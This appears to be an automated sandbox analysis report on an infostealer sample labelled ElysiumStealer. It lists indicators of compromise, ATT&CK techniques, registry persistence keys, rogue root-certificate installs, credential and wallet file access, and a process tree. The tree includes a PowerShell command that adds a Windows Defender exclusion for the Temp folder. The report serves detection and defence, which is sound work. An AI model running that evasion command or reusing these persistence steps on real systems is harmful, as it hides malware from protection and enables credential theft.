elysiumstealer | 90aa6a7c770f2c0f49596731c80fda7d044802dea9e905ff999b39cda5428407

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1152205.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1152205.exe

Loads dropped DLL 64 IoCs

pid	Process
1900	setup_x86_x64_install.exe
1632	setup_installer.exe
1632	setup_installer.exe
1632	setup_installer.exe
1632	setup_installer.exe
1632	setup_installer.exe
1632	setup_installer.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
760	setup_install.exe
1788	cmd.exe
936	cmd.exe
1440	cmd.exe
1440	cmd.exe
1148	cmd.exe
1968	Tue11d7385a978cc.exe
1968	Tue11d7385a978cc.exe
700	cmd.exe
700	cmd.exe
1664	Tue1109eec571ac.exe
1664	Tue1109eec571ac.exe
1068	Tue11b9d76a96506.exe
1068	Tue11b9d76a96506.exe
540	cmd.exe
1532	cmd.exe
1532	cmd.exe
856	cmd.exe
1068	Tue11b9d76a96506.exe
1684	Tue11bc0507b56295.exe
1684	Tue11bc0507b56295.exe
432	cmd.exe
432	cmd.exe
2224	Tue112c483dd3245d.exe
2224	Tue112c483dd3245d.exe
452	Tue11e4e580f2e8141a3.exe
452	Tue11e4e580f2e8141a3.exe
2112	Tue11b9d76a96506.tmp
2112	Tue11b9d76a96506.tmp
2112	Tue11b9d76a96506.tmp
2072	Tue118f55232e4.exe
2072	Tue118f55232e4.exe
452	Tue11e4e580f2e8141a3.exe
2112	Tue11b9d76a96506.tmp
2532	Tue11e4e580f2e8141a3.exe
2532	Tue11e4e580f2e8141a3.exe
2784	LzmwAqmV.exe
2784	LzmwAqmV.exe
452	Tue11e4e580f2e8141a3.exe
2784	LzmwAqmV.exe
2784	LzmwAqmV.exe
2784	LzmwAqmV.exe
2784	LzmwAqmV.exe
2784	LzmwAqmV.exe
2984	Alfanewfile2.exe
2984	Alfanewfile2.exe
2784	LzmwAqmV.exe
532	409852.exe
532	409852.exe
780	setup.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1504	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Common Files\\Cilamososi.exe\""	46807GHF____.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	409852.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1152205.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
44	ip-api.com
1106	api.2ip.ua
1108	api.2ip.ua
1239	api.2ip.ua

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1328	1152205.exe

Suspicious use of SetThreadContext 20 IoCs

description	pid	Process	procid_target
PID 452 set thread context of 2532	452	Tue11e4e580f2e8141a3.exe	55
PID 452 set thread context of 2860	452	Tue11e4e580f2e8141a3.exe	61
PID 452 set thread context of 2168	452	Tue11e4e580f2e8141a3.exe	73
PID 452 set thread context of 2452	452	Tue11e4e580f2e8141a3.exe	81
PID 452 set thread context of 2248	452	Tue11e4e580f2e8141a3.exe	90
PID 452 set thread context of 1992	452	Tue11e4e580f2e8141a3.exe	94
PID 452 set thread context of 2208	452	Tue11e4e580f2e8141a3.exe	98
PID 452 set thread context of 2056	452	Tue11e4e580f2e8141a3.exe	103
PID 452 set thread context of 1404	452	Tue11e4e580f2e8141a3.exe	105
PID 452 set thread context of 2840	452	Tue11e4e580f2e8141a3.exe	109
PID 452 set thread context of 2408	452	Tue11e4e580f2e8141a3.exe	115
PID 452 set thread context of 3152	452	Tue11e4e580f2e8141a3.exe	125
PID 452 set thread context of 3268	452	Tue11e4e580f2e8141a3.exe	127
PID 452 set thread context of 3412	452	Tue11e4e580f2e8141a3.exe	130
PID 452 set thread context of 3480	452	Tue11e4e580f2e8141a3.exe	131
PID 452 set thread context of 3508	452	Tue11e4e580f2e8141a3.exe	222
PID 452 set thread context of 3628	452	Tue11e4e580f2e8141a3.exe	134
PID 452 set thread context of 3796	452	Tue11e4e580f2e8141a3.exe	137
PID 452 set thread context of 3896	452	Tue11e4e580f2e8141a3.exe	140
PID 452 set thread context of 2392	452	Tue11e4e580f2e8141a3.exe	147

Drops file in Program Files directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files\Uninstall Information\WJAKGTEQYO\ultramediaburner.exe.config	46807GHF____.exe
File created	C:\Program Files (x86)\Common Files\Cilamososi.exe	46807GHF____.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-7C559.tmp	setup_2.tmp
File created	C:\Program Files\Uninstall Information\WJAKGTEQYO\ultramediaburner.exe	46807GHF____.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File created	C:\Program Files (x86)\Common Files\Cilamososi.exe.config	46807GHF____.exe
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-IQ5JP.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-ALU8J.tmp	ultramediaburner.tmp
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

pid	pid_target	Process	procid_target
336	2224	WerFault.exe	53
3776	1740	WerFault.exe	87
3856	3036	WerFault.exe	104
3932	2960	WerFault.exe	63
2044	3576	WerFault.exe	133

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Tue11bc0507b56295.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Tue11e4e580f2e8141a3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Tue11e4e580f2e8141a3.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2252	schtasks.exe
2804	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3684	timeout.exe

Kills process with taskkill 7 IoCs

evasion

pid	Process
4992	taskkill.exe
4224	taskkill.exe
2092	taskkill.exe
2356	taskkill.exe
2052	taskkill.exe
1504	taskkill.exe
4804	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 13 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1669990088-476967504-438132596-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Tue118f55232e4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Tue118f55232e4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	Tue118f55232e4.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	Tue118f55232e4.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	56	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1684	Tue11bc0507b56295.exe
1684	Tue11bc0507b56295.exe
316	powershell.exe
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1196	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1684	Tue11bc0507b56295.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
1892	2024054.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	2072	Tue118f55232e4.exe
Token: SeAssignPrimaryTokenPrivilege	2072	Tue118f55232e4.exe
Token: SeLockMemoryPrivilege	2072	Tue118f55232e4.exe
Token: SeIncreaseQuotaPrivilege	2072	Tue118f55232e4.exe
Token: SeMachineAccountPrivilege	2072	Tue118f55232e4.exe
Token: SeTcbPrivilege	2072	Tue118f55232e4.exe
Token: SeSecurityPrivilege	2072	Tue118f55232e4.exe
Token: SeTakeOwnershipPrivilege	2072	Tue118f55232e4.exe
Token: SeLoadDriverPrivilege	2072	Tue118f55232e4.exe
Token: SeSystemProfilePrivilege	2072	Tue118f55232e4.exe
Token: SeSystemtimePrivilege	2072	Tue118f55232e4.exe
Token: SeProfSingleProcessPrivilege	2072	Tue118f55232e4.exe
Token: SeIncBasePriorityPrivilege	2072	Tue118f55232e4.exe
Token: SeCreatePagefilePrivilege	2072	Tue118f55232e4.exe
Token: SeCreatePermanentPrivilege	2072	Tue118f55232e4.exe
Token: SeBackupPrivilege	2072	Tue118f55232e4.exe
Token: SeRestorePrivilege	2072	Tue118f55232e4.exe
Token: SeShutdownPrivilege	2072	Tue118f55232e4.exe
Token: SeDebugPrivilege	2072	Tue118f55232e4.exe
Token: SeAuditPrivilege	2072	Tue118f55232e4.exe
Token: SeSystemEnvironmentPrivilege	2072	Tue118f55232e4.exe
Token: SeChangeNotifyPrivilege	2072	Tue118f55232e4.exe
Token: SeRemoteShutdownPrivilege	2072	Tue118f55232e4.exe
Token: SeUndockPrivilege	2072	Tue118f55232e4.exe
Token: SeSyncAgentPrivilege	2072	Tue118f55232e4.exe
Token: SeEnableDelegationPrivilege	2072	Tue118f55232e4.exe
Token: SeManageVolumePrivilege	2072	Tue118f55232e4.exe
Token: SeImpersonatePrivilege	2072	Tue118f55232e4.exe
Token: SeCreateGlobalPrivilege	2072	Tue118f55232e4.exe
Token: 31	2072	Tue118f55232e4.exe
Token: 32	2072	Tue118f55232e4.exe
Token: 33	2072	Tue118f55232e4.exe
Token: 34	2072	Tue118f55232e4.exe
Token: 35	2072	Tue118f55232e4.exe
Token: SeDebugPrivilege	1936	Tue11f251db82fb7b.exe
Token: SeDebugPrivilege	1900	Tue11141271fbe5877f.exe
Token: SeDebugPrivilege	316	powershell.exe
Token: SeDebugPrivilege	3052	2.exe
Token: SeDebugPrivilege	2960	7446591.exe
Token: SeDebugPrivilege	2948	PublicDwlBrowser1100.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	1204	BearVpn 3.exe
Token: SeDebugPrivilege	1740	2566086.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	2092	taskkill.exe
Token: SeDebugPrivilege	2356	taskkill.exe
Token: SeDebugPrivilege	2052	taskkill.exe
Token: SeDebugPrivilege	336	WerFault.exe
Token: SeDebugPrivilege	3036	6327835.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	2900	Chrome 5.exe
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeShutdownPrivilege	1196	Process not Found
Token: SeDebugPrivilege	1504	taskkill.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
2156	setup_2.tmp
2376	ultramediaburner.tmp
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1196	Process not Found
1196	Process not Found
1196	Process not Found
1196	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1900 wrote to memory of 1632	1900	setup_x86_x64_install.exe	26
PID 1900 wrote to memory of 1632	1900	setup_x86_x64_install.exe	26
PID 1900 wrote to memory of 1632	1900	setup_x86_x64_install.exe	26
PID 1900 wrote to memory of 1632	1900	setup_x86_x64_install.exe	26
PID 1900 wrote to memory of 1632	1900	setup_x86_x64_install.exe	26
PID 1900 wrote to memory of 1632	1900	setup_x86_x64_install.exe	26
PID 1900 wrote to memory of 1632	1900	setup_x86_x64_install.exe	26
PID 1632 wrote to memory of 760	1632	setup_installer.exe	27
PID 1632 wrote to memory of 760	1632	setup_installer.exe	27
PID 1632 wrote to memory of 760	1632	setup_installer.exe	27
PID 1632 wrote to memory of 760	1632	setup_installer.exe	27
PID 1632 wrote to memory of 760	1632	setup_installer.exe	27
PID 1632 wrote to memory of 760	1632	setup_installer.exe	27
PID 1632 wrote to memory of 760	1632	setup_installer.exe	27
PID 760 wrote to memory of 1156	760	setup_install.exe	33
PID 760 wrote to memory of 1156	760	setup_install.exe	33
PID 760 wrote to memory of 1156	760	setup_install.exe	33
PID 760 wrote to memory of 1156	760	setup_install.exe	33
PID 760 wrote to memory of 1156	760	setup_install.exe	33
PID 760 wrote to memory of 1156	760	setup_install.exe	33
PID 760 wrote to memory of 1156	760	setup_install.exe	33
PID 760 wrote to memory of 1788	760	setup_install.exe	34
PID 760 wrote to memory of 1788	760	setup_install.exe	34
PID 760 wrote to memory of 1788	760	setup_install.exe	34
PID 760 wrote to memory of 1788	760	setup_install.exe	34
PID 760 wrote to memory of 1788	760	setup_install.exe	34
PID 760 wrote to memory of 1788	760	setup_install.exe	34
PID 760 wrote to memory of 1788	760	setup_install.exe	34
PID 760 wrote to memory of 1148	760	setup_install.exe	35
PID 760 wrote to memory of 1148	760	setup_install.exe	35
PID 760 wrote to memory of 1148	760	setup_install.exe	35
PID 760 wrote to memory of 1148	760	setup_install.exe	35
PID 760 wrote to memory of 1148	760	setup_install.exe	35
PID 760 wrote to memory of 1148	760	setup_install.exe	35
PID 760 wrote to memory of 1148	760	setup_install.exe	35
PID 760 wrote to memory of 936	760	setup_install.exe	36
PID 760 wrote to memory of 936	760	setup_install.exe	36
PID 760 wrote to memory of 936	760	setup_install.exe	36
PID 760 wrote to memory of 936	760	setup_install.exe	36
PID 760 wrote to memory of 936	760	setup_install.exe	36
PID 760 wrote to memory of 936	760	setup_install.exe	36
PID 760 wrote to memory of 936	760	setup_install.exe	36
PID 760 wrote to memory of 1440	760	setup_install.exe	37
PID 760 wrote to memory of 1440	760	setup_install.exe	37
PID 760 wrote to memory of 1440	760	setup_install.exe	37
PID 760 wrote to memory of 1440	760	setup_install.exe	37
PID 760 wrote to memory of 1440	760	setup_install.exe	37
PID 760 wrote to memory of 1440	760	setup_install.exe	37
PID 760 wrote to memory of 1440	760	setup_install.exe	37
PID 1156 wrote to memory of 316	1156	cmd.exe	40
PID 1156 wrote to memory of 316	1156	cmd.exe	40
PID 1156 wrote to memory of 316	1156	cmd.exe	40
PID 1156 wrote to memory of 316	1156	cmd.exe	40
PID 1156 wrote to memory of 316	1156	cmd.exe	40
PID 1156 wrote to memory of 316	1156	cmd.exe	40
PID 1156 wrote to memory of 316	1156	cmd.exe	40
PID 1788 wrote to memory of 1968	1788	cmd.exe	38
PID 1788 wrote to memory of 1968	1788	cmd.exe	38
PID 1788 wrote to memory of 1968	1788	cmd.exe	38
PID 1788 wrote to memory of 1968	1788	cmd.exe	38
PID 1788 wrote to memory of 1968	1788	cmd.exe	38
PID 1788 wrote to memory of 1968	1788	cmd.exe	38
PID 1788 wrote to memory of 1968	1788	cmd.exe	38
PID 760 wrote to memory of 700	760	setup_install.exe	39

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1900
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Users\Admin\AppData\Local\Temp\7zS0669D754\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0669D754\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1156
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:316
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11d7385a978cc.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1788
    - - C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11d7385a978cc.exe
        
        Tue11d7385a978cc.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1968
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue11b9d76a96506.exe
      4⤵
      Loads dropped DLL
      PID:1148
    - - C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11b9d76a96506.exe
        
        Tue11b9d76a96506.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1068
      - C:\Users\Admin\AppData\Local\Temp\is-P4ALC.tmp\Tue11b9d76a96506.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-P4ALC.tmp\Tue11b9d76a96506.tmp" /SL5="$60154,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS0669D754\Tue11b9d76a96506.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2112
        
        C:\Users\Admin\AppData\Local\Temp\is-FCVJI.tmp\46807GHF____.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-FCVJI.tmp\46807GHF____.exe" /S /UID=burnerch2
        7⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        
        PID:2744
        
        C:\Program Files\Uninstall Information\WJAKGTEQYO\ultramediaburner.exe
        
        "C:\Program Files\Uninstall Information\WJAKGTEQYO\ultramediaburner.exe" /VERYSILENT
        8⤵
        Executes dropped EXE
        
        PID:3048
        
        C:\Users\Admin\AppData\Local\Temp\is-7QMI3.tmp\ultramediaburner.tmp
        
